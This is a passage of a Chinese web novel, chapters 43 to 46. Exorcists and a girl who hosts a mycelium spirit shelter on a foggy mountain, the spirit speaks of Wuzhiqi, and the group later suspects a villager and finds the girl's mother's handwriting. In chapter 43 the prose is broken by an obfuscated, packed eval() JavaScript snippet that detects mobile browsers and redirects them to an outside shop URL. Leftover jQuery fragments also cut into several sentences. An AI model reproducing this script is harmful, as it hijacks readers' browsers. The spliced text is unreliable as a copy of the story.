秦宁停了下来,看着若隐若现的银丝,他记得林眠身上的菌丝也能发出淡淡的光芒,和面前的这个东西相似极了。 应该是林眠,符咒显示的位置也在前面。 秦宁意识到林眠不对劲,现在也只能硬着头皮走上去,走到菌丝处的时候,他感觉眼前的视野瞬间开阔了一些。 周围的雾气似乎散开了一些。 他看着站在前面的林眠,她的身上散发着无数的菌丝,菌丝在空气中飘舞着,变幻着各种各样的形状。 这是属于菌丝的狂欢。 43. 共同目标 “林小姐,不,你不是林眠。”秦宁站在原处,他抬头一看,发现这些菌丝都不动了,就像是定住看了一样。这么一看像是树木的枝杈一样,而林眠则是树干。 他看向前面的林眠,隐隐约约猜测到什么。 “你是菌丝。” 林眠回过头来,嘴角微微勾起,朝秦宁露出一个笑。 秦宁握紧驱魔弓,紧紧盯着“林眠”。 林眠一点都不在意秦宁,只是身上的菌丝又开始摇曳了起来,似乎很是欢快。 秦宁一咬牙,直接冲了上去,嘴里念起决,驱魔弓射出,都直接被菌丝给挡了下来,在告诉他这都是些无用功。 “你想做什么?”秦宁问。 林眠垂下眼,看着半跪在地上的秦宁,说:“我们不是敌人,也有共同的目标。” 秦宁猛地抬起眼眸,与林眠直接对视上。 “什么目标?” 林眠嘴巴一张一合,一字一句道:“无、支、祁。” “你是妖物,我为什么要和你合作?”秦宁冷声问道。他对菌丝不甚了解,现在唯一知道的,也就是林眠奶奶日记上的记载。 菌丝是自私的。这句话一直深深刻在他的心中。 “无支祁很快就会从海底出来,你们需要做的是,将银木养大,它是最好的容器,而最好的养树人,是菌人。” 秦宁没听明白,银木养大?菌人? “为了表达我的诚意,”林眠举起手,一缕菌丝在秦宁脚下的泥土里冒出,“它会带着你找到你们的同伴。” “在盖山,你所谓的符咒起不了作用。” 说完这句话后,林眠突然闭上眼,身上的菌丝也都慢慢缩回体内。 秦宁面前的菌丝还在,散发着淡淡白光。 林眠睁开眼的时候,有些迷惑地看着周围,嘟囔着说:“我怎么到这里了?” “秦大师,你没事吧?”林眠注意到前面的秦宁状态不太好,整个人半跪着,看起来很疲惫。 她连忙上前去搀扶秦宁。 秦宁挣扎着起来。 “诶,怎么这里有菌丝?”林眠看着漂浮在眼前的菌丝,想要将它收起来。 “别。”秦宁止住,说:“跟着她,就能找到柳寂白。” 他下意识的相信,刚刚菌丝的话不会是骗人的。只是…菌丝的目标为什么是无支祁? 林眠眨眨眼,不太明白什么意思,但出于对秦大师的信任,她没有对这根菌丝做什么,伸出手搀扶着秦宁。 两人跟着菌丝走。 路上,菌丝带着他们前进的方向,视野很清晰,丝毫不受周围大雾的影响。 秦宁不禁多看几眼林眠,林眠对刚刚发生的事似乎毫无察觉,刚刚被占据身体所消耗的时间,她没有发现。 这和日记的内容对上了。 “林小姐,刚刚在那里的时候,你还记得发生什么事了吗?”秦宁假装聊天一样,问林眠。 “没有呀,我一直往前爬,突然发现你不见了,我一回头,就看到你在那里半跪着。”林眠说,“你是不小心摔了吗?你应该叫我嘛。” 秦宁心下了然。 “不过,这个菌丝是哪里冒出来的?”林眠还是对这个感到好奇,为什么它会带路? 秦宁看着面前的大雾,心想着这件事还是下山后再和林眠说清楚,现在在山里,不是很适合说这些,而当务之急是找到柳寂白。 “我们先找人,下山之后我和你解释。”秦宁说。 “好。”林眠点点头。 秦宁看着面前带路的菌丝,心里不禁感慨,这未免也太巧合了。自己和柳寂白关系不和,导致柳寂白外出,偏偏上了盖山。 这盖山又是菌丝的诞生地,处处都充满着诡异,而林眠体内菌丝出现了,为的就是和自己说无支祁的事吗? “山洞!”林眠看到前面有个山洞,惊喜地说。 飘在空中的菌丝消失了。 秦宁抬头看去,前面确实有个山洞。 “柳寂白!”秦宁喊了一声。 “柳大师。”林眠也跟着喊了声。 两人一起朝洞口走去。 缩在山洞里的柳寂白舔了舔干燥的嘴唇,她是出现幻觉和幻听了么?怎么看到洞口的雾都散开了?还听到有人在叫自己,还是秦宁的声音。 天知道她有多讨厌秦家的人,天天自诩正派,怎么临死前还能听到秦家人的声音。 秦宁一进山洞,就看到柳寂白脸色发白的瘫在地上,旁边的有起火的痕迹,但看木柴的情况,估计烧起来后没燃太久。 “她的手凉凉的。”林眠蹲在柳寂白的身旁,握着柳寂白的手搓一搓,再哈口气。 比起林眠的土办法,秦宁直接画了个符,贴在柳寂白的额头上。 “这有用吗?”林眠凑上前,盯着柳寂白额头上的符咒。 “她有点失温,但命不该绝。”秦宁说。 “啊?”林眠看明白,贴个符咒就能保命吗?这也太厉害了。 柳寂白半昏半醒中,感觉体内涌起一股热火,烧的她感觉自己身处地狱之中。她猛地睁开眼,直接和秦宁对视上了。 “醒了。”秦宁淡淡出声。 林眠正在一旁捡柴火,听到秦宁的声音,立马回过头来,开心地说:“柳大师,你醒了。” 柳寂白反应过来,一把拿掉自己额头上的符咒,不是很自然地点点头,说:“你们怎么来了?” “你迟迟没有回来,秦大师的符咒显示你上了山,我们担心你出事,就上来了。”林眠解释说。 柳寂白挣扎着起来,用手揉了揉眉心。 林眠看她能起来了,就连忙把怀里揣着的毛豆递给柳寂白,说:“这有些毛豆,你吃着暖暖身体。” 说完,她接着专心捡柴去了。 柳寂白看着这些毛豆,心里升起一股暖意。 “这些柴都是湿的,升起火了也很快就会灭。”柳寂白看着林眠弯腰捡柴,忍不住说。 “明天晒晒就可以用了。”林眠说,她以前经常上山捡柴,盖山一到晚上就会起大雾,到处都是湿漉漉的,但第二天太阳一升起,雾气就会被蒸发掉,木柴也很快就会被晒干。 柳寂白语塞,沉默的剥着毛豆,再往嘴里一塞。她从昨天下午到现在,早就饥肠辘辘了。 “今晚我们在这凑合一晚。”秦宁看着外面的雾气说。刚刚是菌丝带路,现在菌丝消失了,外面大雾蒙蒙,温度也低,还是在山洞待一晚比较安全。 而且,他确实也累了。 柳寂白觉得身上没这么冷了,便点点头。一到傍晚,太阳一落山,盖山就起了大雾,她原本都快到山脚下了,结果迷迷糊糊来到了这个山洞。 林眠捡完柴火,堆在一边,还从里面挑出一些没那么湿的柴火,摆到他们面前,搓着手说:“这些我从洞里面拖出来的,摸着比较干,可以看看能不能生火。” 这到了晚上,山上实在是有些冷。 秦宁身上的衣服都湿了一大半,他摸了摸这些柴火,确实没那么湿,便想办法生了火。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741569|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧起来了。”林眠看着小火苗,也坐在了一旁,还顺势拿出手机看了看,一点信号都没有,她也只能给小火堆拍了张照片,再说:“已经凌晨12点了。” 秦宁点点头,沉默地烧着火。 这一夜,过得格外的艰难。这是对秦宁和柳寂白来说,他们两个都没睡,一晚上大眼瞪小眼。 坐在他们中间的林眠昏昏欲睡,最后直接倒在了柳寂白身上,睡了一个大觉。 第二天,林眠醒来后,迷糊着揉了揉双眼,看到山洞外的太阳,有些激动地说:“雾散了。” “嗯。”秦宁看着山洞外,这雾散的极其快,大约只有几分钟,白蒙蒙的雾气就全散了,外面看起来就和正常的山没什么区别。 柳寂白半弯着腰,揉着自己发麻的腿,看向山洞外。 林眠活蹦乱跳地走出山洞外,说:“我们下山吧。” “这里我认识路。” 林眠说着,就要去背她昨晚收拾好的柴火。 秦宁自然不能让她一个人背,便主动地上前将这捆柴火背了起来。 “谢谢,家里柴火不多了。”林眠对秦宁道谢。 说完,她就在前面带路,柳寂白和秦宁两个人在后面跟着。 一路上,无惊无险,只花了不到一小时,就走到了山脚下。 一到山脚下,他们就看到了一名男子在那左右来回踏步,徘徊着。 “阿牛哥。”林眠看到牛饮春,也是愣了一下。 牛饮春见他们下来了,才松了一口气,说:“你们没事吧?有没有不舒服?不舒服就去镇上的卫生所看看。” “我没事。”秦宁礼貌说道,眼睛下意识看向柳寂白。 柳寂白刚想说自己没事,却直接打了个喷嚏,她别扭着说:“有点着凉,用不着去卫生所。” 牛饮春打量了一下柳寂白,说:“我家里有点草药,治风寒特别有效,我等会拿点给你。” “谢了。”柳寂白是第一次见到牛饮春,就觉得这小伙子人还挺不错的。 之后,牛饮春又拉着林眠说了几句悄悄话,才离开了。 回到林眠家,秦宁直接把柴火放到大院处,揉了揉肩膀,这柴火看着不多,背起来还真要命。 林眠则心满意足地看着自己的柴火,盘算着这几天做饭有着落了。 “瞿木呢?”柳寂白打开门,发现没看到瞿木的身影,问。 “他不在家吗?”林眠扭过头来,往屋里看了看,嘟囔着说:“难道还没起床?” 她去瞿木的房间里,也没找到瞿木。 秦宁太累了,昨夜一夜未睡,下山又背了柴,他口干舌燥,直接拿起桌上的水壶喝了起来。 “瞿木,瞿木。”林眠试着喊了两声。 “我在这。” 瞿木的声音突然传来,林眠仰头看去,看到瞿木在阁楼上露出一个脑袋,整个人都有气无力。 “你怎么了?”林眠问,“没睡觉吗?” “你离开我超过十米了,我怎么睡?”瞿木反问她,昨晚他也根本不敢睡,屋里太安静了,那个灯一直在闪,他就跑到阁楼上来了。 林眠这才反应过来,不太好意思地说:“我忘了这件事。” 瞿木摆摆手,“你们安全回来就行,我不过就是少睡一觉罢了,没什么大不了的。” 林眠眨眨眼,怎么觉得这话不像是瞿木能说出来的。 他们昨夜都没睡觉,实在是受不了了,都睡觉去了,瞿木直接在阁楼上眯着了,林眠在附近,他才能睡个安稳觉。 44. 盖山雾 大家伙都睡着去了,林眠又不困,就收拾了一下家里,顺便在网上找个菜谱,学着做一些新菜式。 牛饮春回家拿了草药,来林家的时候,林眠正在蒸饭。 “草药我拿来了。”牛饮春将草药打开,很熟练的拿出药壶,开始炖药,嘴上还说着:“你等会也喝点,在山上待了一晚上,现在没事也要预防一下。” “好。”林眠正在对着菜谱上的流程,头也没回的回答。 牛饮春将草药炖上了,搬来了小凳子,看着林眠,有些欲言又止。 “好了。”林眠看的是炖菜的菜谱,把锅盖盖上,之后只要等就好了。 “林眠,这次回来后,还要走吗?”牛饮春还是没忍住,问了出口。 林眠顿了一下,说:“应该要离开。” 之前瞿木说要离开,但是秦宁说要调查菌丝,如果调查完菌丝,那应该还要离开。 “跟着他们一起吗?”牛饮春问。 “不一定。”林眠想了下说:“瞿木的爷爷和奶奶是朋友,奶奶让我去找瞿家,我应该跟着瞿木才是。” 牛饮春皱了一下眉,“你就没自己的想法吗?” “你想要做什么?有什么目标,你不能一直跟着瞿木,你和他也不是……” 牛饮春说到这儿,停了下来,又有些懊恼自己说这些,他明明知道,林眠不是个特别有想法的人。 林眠怔了一下,她从来没考虑过这个问题,自从奶奶离开后,她是有思考过是留在村子里继续生活,还是听从奶奶的话,去找瞿家。 那会儿她选择去找瞿家,中途发生了很多事情。 “那你说,人应该做什么?”林眠想听听牛饮春的看法。 牛饮春也不太好说,只是细细数着曾经的同学现在在干嘛,做了什么。 “他们很多人都去了县城生活,在那边工作、买房、买车。不过都太难了,大多数人都还只是在城里工作,买不起房。” 说到“工作”,林眠还是很有发言权的。 “我现在有工作。” “什么工作?” “风水大师!”林眠对于自己这个职业还是很自信,虽然和秦宁他们不能比,但收入还是不错,说起来,这个月的工资,瞿木还没给自己发。 牛饮春一听,第一反应就是林眠被骗了,什么风水大师,听起来就不靠谱。不过,林眠的那几个朋友说是什么除妖师… “阿牛哥,你不想去外面吗?我觉得外面可有趣了。”林眠心里还是更喜欢外面多一些,街上都是人,很热闹。 牛饮春摇摇头,说:“我要照顾奶奶,等以后吧。” “好。”林眠点点头。她知道阿牛哥有一个年迈的奶奶,说是腿脚不便,自己长这么大,也从未见过。 “你能再送我一颗小蘑菇吗?”牛饮春突然问。 林眠愣了一下,但很快反应过来,说:“可以,你闭上眼。” “嗯。”牛饮春闭上眼。 林眠用菌丝长出一颗大蘑菇,再递到牛饮春面前,笑着说:“送给你。” “谢谢。”牛饮春接过蘑菇,“这颗要大很多。” “这么久没送给你了,自然要送个大的。”林眠不觉得有什么,说完刚好锅盖冒气了,她连忙去看。 牛饮春也借此离开了,他还要回去给奶奶做饭。 林眠看着锅里的炖菜,已经熟了,香味阵阵扑鼻,便想去拿盆把炖菜都盛起来。她一回头,刚好一个盆出现在自己的面前。 “你醒啦,瞿木。”林眠歪一下头,就和瞿木对视上了。 “嗯。”瞿木点点头。 “我做了炖菜,没有肉,不知道好不好吃。”林眠接过盆,开始往盆里装菜,还说:“下午我们去一趟镇上吧,买点肉。” “你想吃什么肉?” “牛肉。”瞿木回答很快。 林眠听到牛肉,思考了下说:“镇上不一定有牛肉卖,都是猪肉和鸡肉比较多。” “哪里没有?刚刚不就有头牛?”瞿木接过林眠手里的大盆菜,说。 林眠没反应过来,牛?哪里有牛?村子里都是年纪大的人,基本上没什么人养牛了,只有阿牛哥家里养了一头水牛。 啊,瞿木说的那头牛是指阿牛哥? 林眠不太确定,问他:“你是指阿牛哥吗?” “哼。”瞿木从鼻腔里“哼”了一声,将不满表达到了极致。 “你怎么了?”林眠看着瞿木,不太明白。 “没有。”瞿木撇开头,躲开林眠的视线。但心里痒痒的,就想说出来,不说出来,他今天得被憋死。 只要林眠再问一句,他就说! “哦,对了,阿牛哥送来了草药。”林眠走到药罐旁,说:“已经差不多了,等会你也喝一碗吧,防止感冒。” 瞿木立马丧了气,看着林眠在把药罐里的药水都倒出来。 林眠倒了三碗出来,用扇子扇了扇。 “诶。”瞿木凑上去,发出声音。 “嗯?”林眠侧过头,看着瞿木,“你不太开心?” 瞿木顺驴下坡,不满地说:“你那个蘑菇不是单独送给我一个人的。” “啊?”林眠眨眨眼,无辜地说:“可是,我以前每隔三天,都会给阿牛哥一颗蘑菇啊。这次离开的比较久,就给他送颗大的。” 瞿木咬着牙,“那你上一次送我还是一个多月前,你得送我一个更大的。” “你为什么要我送你蘑菇?”林眠不解,瞿木为什么要跟阿牛哥过不去? “那那个阿牛哥,你为什么要送蘑菇?”瞿木反问她。 林眠毫不犹豫地回答:“从小就开始送了。” “不过他不知道这个蘑菇是我用菌丝变出来的。”林眠说到这个还有点沾沾自喜。 瞿木很是怀疑,说:“就闭上眼,说不定他早就偷看到了。” “怎么会…”林眠不是很信,“阿牛哥一直以为我是在山上采的。” 瞿木一点都不信,如果是他,他一定会偷看,而且林眠那个蘑菇…跟凭空变出来的有什么区别? “可以开饭了。”林眠见瞿木没说话,就招呼着吃饭了。 瞿木看着林眠,叹了口气,他也不是…争风吃醋什么的,就是看到了,心里就不太舒服。而且…昨晚他知道了一件事。 想到这儿,瞿木上前摸了摸林眠的头,说:“吃饭吧,我去把饭菜端出去,你去叫秦宁他们。” ”哦。”林眠抬起眼,奇怪地看 () { $(''.inform'').remove(); $(''#content'').append('' 了眼瞿木,他好端端的拍自己的头干嘛? 餐桌上,秦宁和柳寂白都没出声,埋头吃饭。 瞿木也低着头吃饭,他快速地吃完自己碗中的饭,放下碗,说:“我们明天回北城。” 三个人齐刷刷抬起头看向瞿木。 瞿木被他们看着,尤其是秦宁和柳寂白这种自带杀气的眼神,他顿时气势弱了几分,说:“这不是…也调查不出什么么?我们早点回去。” 秦宁收回视线,放下筷子,说:“昨天我和林眠上山,有重大发现。” 柳寂白也说:“昨天我独自上山,也有发现。” 瞿木一听,看向林眠。 林眠被瞿木看着,她摇摇头说:“我什么也没有发现。” 她也很好奇,秦宁发现了什么,自己明明一路上都和秦宁在一起。 “你先说。”秦宁对柳寂白说。 柳寂白翻了个白眼,才说:“昨天中午,我出去之后,先是在村子里逛了一下,遇到了几个老爷爷老奶奶。 “他们和我聊了一下天,我就顺势问了一下那个睡前故事,还有盖山在哪里。他们说这里四面环山,叫盖山村,但能被陈之为盖山的,就只有林神婆…也就是林眠家,后面的那一座山。 “他们以前年轻的时候,也经常上山砍树、打猎,靠山吃山。但村子里一直有一个训诫,那就是不能靠近盖山。” “所以你就去了盖山?”秦宁问。 柳寂白摇摇头,“这里只是让我对盖山起了兴趣。我就问了他们为什么,他们就面露难色,有一个老爷爷说,进盖山的人,没有几个能活下来,还说了他们小时候,有个小伙伴贪玩,要进盖山探险,最后失踪了。” “他的家人当时闹着要进山找,被林神婆拦下了,说如果要进去,那也是死路一条。村子里的人对林神婆很信任,认为她是有大神通的,也就没有进盖山了。” 柳寂白认为这几个爷爷奶奶说的是真的,因此,为了一探究竟,她又折返回林眠家附近,并成功的找到了盖山入口。 “我进了盖山,发现和别的山也没什么区别,怀着疑惑,我就接着往前走,还沿途做了标记。但傍晚一到,周围就起了大雾,我的眼前一片白雾,伸手不见五指,好在周围就有个山洞,之后的事你们就知道了。” “嗯。”秦宁点点头,“盖山的雾很奇怪,白天没有,一到晚上就出来了,进盖山的人…都死了?” 后面这句话,秦宁是对着林眠问的。 林眠作为本地人,应该多少有些耳闻。 “我不知道,我小的时候,村子里已经没有多少人了,他们也不会来我家这边。可我经常去盖山,都没有出事。” 林眠解释说,她对进入盖山就会死…这个事完全不清楚。 瞿木听着他们说的,这不对劲啊。 “等下,我一直有个疑问。”瞿木打断他们,“如果进盖山就会死,那你们三个都去了,都没事。” 瞿木说到这儿,又伸出手示意他们别说话,自己接着说:“虽然你们三个和我这种普通人不一样,就算是例外,那牛饮春怎么说?” “他之前可是说过去盖山,还要带你们去盖山。” 此话一出,秦宁和柳寂白都沉默了。 45. 字迹 “阿牛哥确实也经常去盖山。”林眠开口说,“我们小时候就经常一起去盖山上玩,不过晚上他是不会去盖山的。” “就算不是盖山,谁会大晚上去山里面?”柳寂白说话的同时,皱了一下眉,“这个牛饮春,听你们这么说,他对盖山很熟悉,也知道盖山晚上的危险。” “但是昨晚林眠和我进盖山,他没有强烈阻止。”秦宁说。 瞿木说:“他知道林眠进盖山不会出事。” “对。”秦宁也觉得,昨晚牛饮春虽然阻止了一下,但林眠说要进去,他就没阻止了。 “我觉得他肯定知道林眠身上的菌丝。”瞿木接着说。 秦宁皱了一下眉,问:“怎么说?林眠在村子里,应该没人发现她的异常,最多是因为林奶奶是神婆,而被大家抵触。 “而且村里人,对林眠都还不错。” “因为林眠这么多年,经常给牛饮春送蘑菇啊,几天送一次,还让牛饮春闭上眼,牛饮春聪明一点,睁开眼偷看,不就发现了?” 瞿木觉得自己的思路很对,这个牛饮春不对劲,非常不对劲。 柳寂白听着他们一人一句,又看向一脸懵的林眠,忍不住说:“等下,你们两个怎么说的对林眠很了解一样?连她小时候,身上的菌丝有没有被人发现都清楚?” 林眠在旁边表示:“阿牛哥从来没有提到过菌丝,蘑菇…” “林小姐,你是从什么时候开始给他送蘑菇的?”秦宁问。 林眠回想了一下,说:“大概是五岁,那会儿他刚来村子里,总是来到我家附近,我们一起去盖山上玩,后面他突然问我能不能给他送个礼物,我就送了蘑菇。 “之后,不知道为什么,每隔几天他都跟我要礼物,我就都送了蘑菇,送多了我就习惯隔几天送一颗蘑菇。” “五岁的时候他才来村子里?”秦宁抓住重点。 “对,说是牛奶奶的孙子从城里回来了,但是牛奶奶腿脚不便,从不出门,也不肯见人。”林眠说。 “腿脚不便,怎么照顾小孩子?他爸妈呢?”瞿木觉得很奇怪,哪个父母会把小孩送回自己都照顾不了自己的老人身边? 林眠第一次意识到这个问题,有些懵,小时候她怎么没想过呢? “林小姐,你没见过牛饮春的奶奶?”秦宁觉得有些奇怪,想要再确定一遍。 林眠点点头,“牛奶奶从不出门,也不愿意见人,我听村里的老人说牛奶奶性情大变,不肯见人了。” “真奇怪。”柳寂白双手环抱,倚靠在竹椅后面,说。 秦宁心里也有数了,从柳寂白那里,得知了牛家的不对劲。 “牛家确实有问题,明天我们一起去看看,先不要打草惊蛇。”秦宁说完这个,接着说:“我和林眠进盖山,也发生了一件事,很严重的一件事,且和无支祁有关。” 林眠一头雾水地看着秦宁,从刚刚他们说起阿牛哥后,她就感觉自己完全听不懂了,脑袋懵懵的。 “林小姐,我们一起进盖山的时候,菌丝短暂的占据了你的身体,和我说了一些话。”秦宁把菌丝说的话都跟他们说了。 瞿木听的心怦怦跳的,紧张地说:“那这不就是和我们在鬼蛾那里发现的书签,上面写的一样么?” “这怎么办啊?以后林眠的身体被霸占了,她怎么办?” 大伙儿都看着紧张的瞿木。 柳寂白忍不住出声说:“人家林眠都还没开口说话,你激动什么?” 她一说完,大家又都看向林眠。 林眠被他们这么看着,难免有些紧张地说:“我什么也没感觉到…那天,我真的被附身了吗?” 她一点都想不起来,她只记得自己带秦宁进山,自己一直往前爬,没有发现什么异样。 秦宁点点头,说:“这是第一次出现,可能因为是进了盖山,盖山是菌丝的诞生地,那地方或许能让它变得更强,从而夺得身体使用权。” 柳寂白也认同,“妖物基本不会离开自己的诞生地,它们很有领地意识,这也是因为在自己的领地上,它们会更强。” “不过…菌丝说到了无支祁,那说明菌丝和无支祁是对立关系,且菌丝希望和我们合作。”柳寂白猜测着说,“我们追踪了无支祁很久,虽然一直有发现踪迹,却总是无缘无故消失。” 秦宁接过话头:“无支祁的意图是什么,我们也不清楚,但这么多年都在收集妖物和邪性,绝非是正途。” “如果我们能相信菌丝,按照它说的,银木和菌人,是打败无支祁的关键?”柳寂白还是比较关心无支祁的事,这是个极大的隐患。 瞿木听着他们说的,抿着唇,没出声。银木邪性在况衍君身上,这怎么拿的回来?而且无支祁的事他还一头雾水,偏偏无支祁和菌丝扯上了关系,那… 他看向林眠,林眠该怎么办?菌丝的本体就在她的身上,难怪之前无支祁会派人来杀害林眠。 林眠还在晕乎乎的,她听不太明白了。 “无支祁被困在海底,这个我们是第一次知道。银木是容器,菌人可以养银木。”秦宁喃喃说着,“银木邪性不在我们这里,但…银木在我们这。” 秦宁说着,看向瞿木。 瞿木下意识握住自己胸口的玉佩,思考了一会儿,他还是把玉佩取了下来,放在桌上,说:“银木,没有银木邪性,它看着…和白银也差不多。” 柳寂白虽然知道银木的鼎鼎大名,但还是第一次这么近距离看银木,说:“这银木,虽然是银色的,但看着…” 说话间,她伸出手摸了摸银木,“摸着,还真像块木头。” “没有银木邪性,这玩意可以吗?”瞿木忍不住问,最重要的不应该是里面的魂吗? 秦宁也不清楚,他还在思考菌丝说的话。这一路上,况衍君让他们来到盖山村,又自曝身份,说出无支祁,但实际上,他没有做什么事,更像是…… “或许,况衍君是故意引我们来盖山村。” “他是无支祁的人,无支祁让我们来盖山村做什么?”柳寂白不解,这个况衍君不知道什么来历,这么接近林眠他们,后面又把人引到盖山村来。 秦宁也在思考,这一切都像是况衍君故意安排的。 他拿出纸和笔,边写边说:“我们从最开始,林眠离开盖山村的时候开始捋一捋。” “林眠去北城的原因是,奶奶的遗言。” “嗯,林眠奶奶和我爷爷是故交,我问过爷爷事情缘由,爷爷和我解释说,他和这位故人在好几年前就约定好了这件事。”瞿木补充说。< () { $(''.inform'').remove(); $(''#content'').append('' /p> 秦宁记下,接着说:“但林小姐到北城后,因为一些原因,并没有找到瞿家,这里是断了的,但是瞿木收到了信,从而找到了林小姐。” “信是况衍君送的,也就是那时起,况衍君就插手了。” “是。”瞿木说。 林眠也点头认同。 “但况衍君的第二封信,目的是…” 秦宁在纸上写下“盖山村”三个字。 “他让我们到了盖山村之后,就自曝身份,不掩藏,也直接离开了。”秦宁将“盖山村”三个字圈了起来,“他希望我们到盖山村来,原因是什么?” “假设无支祁和菌丝不对付,可况衍君作为无支祁的人,为什么要让我们到盖山,菌丝的老本营来?” 这个问题无人能解答。 瞿木更是烦躁地抓了抓头发,“这谁知道啊?我们连无支祁是什么,想要做什么都不知道。鬼知道他们的心思。” 柳寂白摇摇头,她现在也是一头雾水。 秦宁看着手上下来的东西,他心里其实还有一些线索,只是…这个线索他不知道该不该说,或许瞒着会更好一些。 他看了眼正在发呆的林眠,在心里叹了一口气。 瞿木垂着头,脑子里闪过许多事,他突然想起一件事来。 “对了,我昨天晚上一夜没睡,在阁楼上看书,我看到了一本书,上面的字迹和书签上的很像。” 瞿木说完,对林眠说:“我们在鬼蛾那里发现的书签,你还拿着吗?” 林眠点点头,连忙起身去房间,从包里翻出那几张书签,走到客厅处,递给瞿木,“都在这里了。” 瞿木拿着这几张书签,再看一遍,又爬到阁楼处,去把那本书拿下来,摆到桌上给他们看,指着一处说:“你们看,这本书上,这里的字迹,是不是和书签上的字迹一样?” 秦宁和柳寂白凑上去看了一下,都没吭声。 林眠也疑惑地凑上去,左看右看,不太懂地问:“这几个字,像吗?都不是一样的字。只有这两个字是一样的。” 瞿木无奈地看着林眠,解释说:“每个人写字都有自己的习惯,你看这里,再看这里,这两个字虽然不一样,但是写字的习惯是一样的。” “我从小也被逼着练字,各种字体,还有书法什么的,我都学过,你们信我,这绝对是一个人的字迹。” 瞿木信誓旦旦地说。他昨晚在阁楼上,看到的时候就觉得很眼熟,后面想到了书签,只是今天发生的事太多了,他一时忘记了。 “我信。”秦宁说。 他并不意外,因为…那本林眠奶奶的日记上,就写明了菌丝上一个寄生的人,是林眠的妈妈,生下林眠之后,菌丝就转移到了林眠身上。 而且…从日记里得知,菌丝的转移,间接导致了林眠妈妈的死亡。这也是…他不知道如何提起日记的事,上面记载的事,对林眠来说,未免有些太残忍了。 这时,瞿木也沉默了。他想起了自己在阁楼上看的那本日记,他没有看完,因为实在是看不下去了。 柳寂白拿着这本书看了看,这是一本记事录,而瞿木说的字迹是类似于注释。她又往后翻了几页,惊讶地说:“这本书很新,是林眠奶奶的记录,上面的字迹…是林眠的妈妈?” 46. 嫉妒 柳寂白看了看这本书的署名,这上面注释的话写的很俏皮,还出现了“妈妈”两个字,细细看去,不难看出母女两在这本书上的亲情互动。 林眠听到“妈妈”两个字,有些反应迟钝地拿起书看了看。奶奶写的字已经是简体字,虽然写的有些晦涩难懂,但上面注释的话,她也看得明白。 她仔细地看这上面的话,有些恍惚,妈妈…以前也在这个房子里生活,和奶奶一起。 这种感觉很奇妙。 秦宁看了眼瞿木,主动的起身,收桌子,说:“我再去楼上找找书籍,看看有没有银木和菌人的记载。” “我也去。”瞿木也跟着起身。 柳寂白看着他们,怎么一个个都要走了?但她看向旁边的林眠,自己好像在这里也不合适,便也站了起来,说:“那我再出去逛逛。” 此话一出,大家都看着她。 柳寂白连忙摆摆手,说:“我不去盖山,就真的在村子里转悠转悠。” 她是不想在阁楼上待着,一股书卷的墨水味,她在家的时候,也最讨厌看书了,还是实战最适合她。 秦宁也就默许了,还不忘说:“记得晚上的时候要回来。” “行了。”柳寂白摆了摆手,就出门了。 林眠还在低着头看书,她看的很认真。 秦宁和瞿木上了阁楼。秦宁看着这堆书籍,而那本林眠奶奶的日记,显然已经被瞿木翻阅过了。 他将日记拿起来,递给瞿木说:“你来决定交不交给林眠。” 瞿木看着这本日记,又看向秦宁,沉默着将日记接了过来。 “你都看完了?”瞿木问。 “嗯。”秦宁回答,“这本日记记录了很多关于菌丝的事,给了我很多线索。” “而且,这上面写了白色小人和银色大树,和祝奶奶说的故事对应上了。这些书籍里面有记载,得找出来。” 秦宁说完,就决定一本一本开始翻找,日记上面没有明确说是哪本书,只说了“根据祖上记载”这样模糊的话。 瞿木叹了口气,只能先将日记本收起来,跟着瞿木一本一本的找。 下面客厅的林眠一直沉默着,她看着桌上的书签,当时她拿到书签的时候,完全没有想到对方会是自己的妈妈,这种感觉…让她感到很奇妙,又难以言说,胸腔里涌出很多莫名的情绪。 她对自己的妈妈没有一点印象,但书上这些注释,她好像很开心,和奶奶的关系很好,奶奶会在她的注释上给她回复。 在她的印象中,奶奶不是这样的。奶奶是不苟言笑的,总是板着一张脸。 瞿木在上面一边看书找资料,一边时不时低下头看林眠在干嘛,见她先是发呆,后面趴在桌上,不知道趴了多久,她突然站起身来,朝着外边走了。 “我下去看看。” 瞿木赶紧放下手中的书,手脚麻利地爬下楼梯,去看林眠走到哪去了。 秦宁看着地上翻了一本的书籍,无奈地摇摇头。 瞿木下了阁楼,走到大门口处,没看到林眠的身影,他再在屋子里找,喊了几声“林眠”,都没有得到回应。 最后他在厨房里找到了林眠。 林眠正在淘米,然后走到火灶边生火。 “我刚刚喊你,你怎么不理我?”瞿木搬张小板凳,坐在林眠身边,小心翼翼地打量着林眠的脸色。 “在做饭。”林眠回答。 “我跟你一起做,今晚我们吃什么?”瞿木找话说,“对了,我们说好了要去买肉,现在…还来得及吗?” 瞿木探着头,看了看外面的天色,虽然还没天黑,但也有点灰蒙蒙了。 林眠没回答,低着头在往灶里加柴火,灶里火烧的极旺,一旁的瞿木都感觉到热气腾腾了。 瞿木没得到回答,也没接着问,只是火烤的他感觉脸都在发热。他小心翼翼地看了眼林眠,又看向灶里的火势,忍不住伸出手贴在林眠的脸上。 林眠猛地侧过头看着瞿木。 瞿木讪笑着收回手,说:“这火烧的太旺了,你脸上烤的都热乎乎了。” “有吗?”林眠伸出手摸了摸自己的脸,确实有些热。她看向灶里,抿着唇,柴加的有点多了。 瞿木看着林眠,林眠没看到过日记的内容,但那本书上的注释、书签的内容,是让她想起了素未谋面的妈妈吗? 他也不知道,如果母亲生下孩子,在孩子还没有记忆的时候离开了,孩子对于这个母亲,抱有什么样的感情。 “你想妈妈吗?”瞿木问她。 林眠扭过头,看着瞿木,摇了摇头。她一点印象都没有,对于这个人,但是… 瞿木看着林眠咬着下唇,眼眸垂着,不知道在想些什么。 “你可以和我说,我在旁边呢。”瞿木尝试着对林眠说,虽然他和林眠认识的时间才几个月,但这个几个月,足够建立起友谊了。 林眠看着瞿木,眼神有些飘忽,又有些难为情,她想要说,可是又觉得不太好意思,一抬头对上瞿木真挚的眼神,她就不免垂下头,咬着唇。 这把瞿木给急到了。 